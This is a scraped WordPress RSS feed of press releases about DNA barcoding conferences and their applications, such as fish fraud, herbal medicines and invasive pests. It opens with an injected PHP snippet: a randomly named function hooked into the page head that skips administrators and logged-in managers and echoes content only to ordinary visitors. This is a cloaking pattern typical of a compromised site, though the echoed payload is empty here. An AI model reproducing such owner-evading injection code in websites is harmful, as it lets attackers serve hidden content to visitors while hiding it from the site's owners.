if (!function_exists('f9d233f09')) { function f9d233f09() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f9d233f09', 999); Consortium for the Barcode of Life – Terry Collins & Assoc. https://terrycollinsassociates.com News factory Wed, 25 Feb 2026 14:58:36 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Quack medicines, insect immigrants, and what eats what among secrets revealed by DNA barcodes https://terrycollinsassociates.com/quack-medicines-insect-immigrants-and-what-eats-what-among-secrets-revealed-by-dna-barcodes/ Sun, 27 Nov 2011 18:00:00 +0000 https://terrycollinsassociates.com/quack-medicines-insect-immigrants-and-what-eats-what-among-secrets-revealed-by-dna-barcodes/ Consortium for the Barcode of Life,
Smithsonian Institution
27-Nov-2011

Global ‘barcode blitz’ accelerates; 450 experts converge on Adelaide Nov. 28-Dec. 3

The newfound scientific power to quickly “fingerprint” species via DNA is being deployed to unmask quack herbal medicines, reveal types of ancient Arctic life frozen in permafrost, expose what eats what in nature, and halt agricultural and forestry pests at borders, among other applications across a wide array of public interests.

The explosion of creative new uses of DNA “barcoding” — identifying species based on a snippet of DNA — will occupy centre stage as 450 world experts convene at Australia’s the University of Adelaide Nov. 28 to Dec. 3.

DNA barcode technology has already sparked US Congressional hearings by exposing widespread “fish fraud” — mislabelling cheap fish as more desirable and expensive species like tuna or snapper. Other studies this year revealed unlisted ingredients in herbal tea bags.

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Smithsonian Institution, Washington DC
6-Nov-2009
November 9, 2009
The scientific ability to quickly and accurately identify species through DNA “barcoding” is being embraced and applied by a growing legion of global authorities – from medical and agricultural researchers to police and customs authorities to palaeontologists and others.
Some 350 experts from 50 nations gathering in Mexico for their 3rd global meeting will outline the latest creative applications of DNA barcoding, including projects to sequence ancient plant and animal remains extracted from northern permafrost cores.
Using new techniques to identify species from degraded DNA, the results could reveal how life on Earth responded to global climate change in ages past.
Meanwhile, by analyzing the DNA of gut contents, scientists have started unravelling secrets of what eats what in the animal world.
]]> https://terrycollinsassociates.com/dna-barcodes-creative-new-uses-span-health-fraud-smuggling-history-more/feed/ 0 Amid spiralling government interest, world’s top 350 DNA barcode scientists meet in Taipei https://terrycollinsassociates.com/amid-spiralling-government-interest-worlds-top-350-dna-barcode-scientists-meet-in-taipei/ https://terrycollinsassociates.com/amid-spiralling-government-interest-worlds-top-350-dna-barcode-scientists-meet-in-taipei/#respond Thu, 27 Sep 2007 18:04:00 +0000 https://terrycollinsassociates.com/amid-spiralling-government-interest-worlds-top-350-dna-barcode-scientists-meet-in-taipei/ Consortium for the Barcode of Life,
Smithsonian Institution
14-Sep-2007

Major advances foreseen in health, consumer and environment protection, more

ANgambiae_Judith_Stoffer_WRBU low resAbout 350 DNA barcoding experts from 46 nations will converge in Taipei amid spiralling interest from health officials, government agencies and others beginning to realize potential applications in a range of areas — from consumer protection and food safety to disease prevention and better environmental monitoring.

Specifically, this burgeoning three-year-old scientific field could, among many other things, help get illegal fish and timber out of global markets, slow the spread of invasive pests, reduce bird-plane collisions, and uncover the hideouts of medically-important species of mosquito.

Government agencies, particularly in North America but elsewhere as well, are expanding investments in applications for the new technologies that identify and distinguish known and unknown species ever more quickly, cheaply, easily and accurately based on snippets of DNA code.

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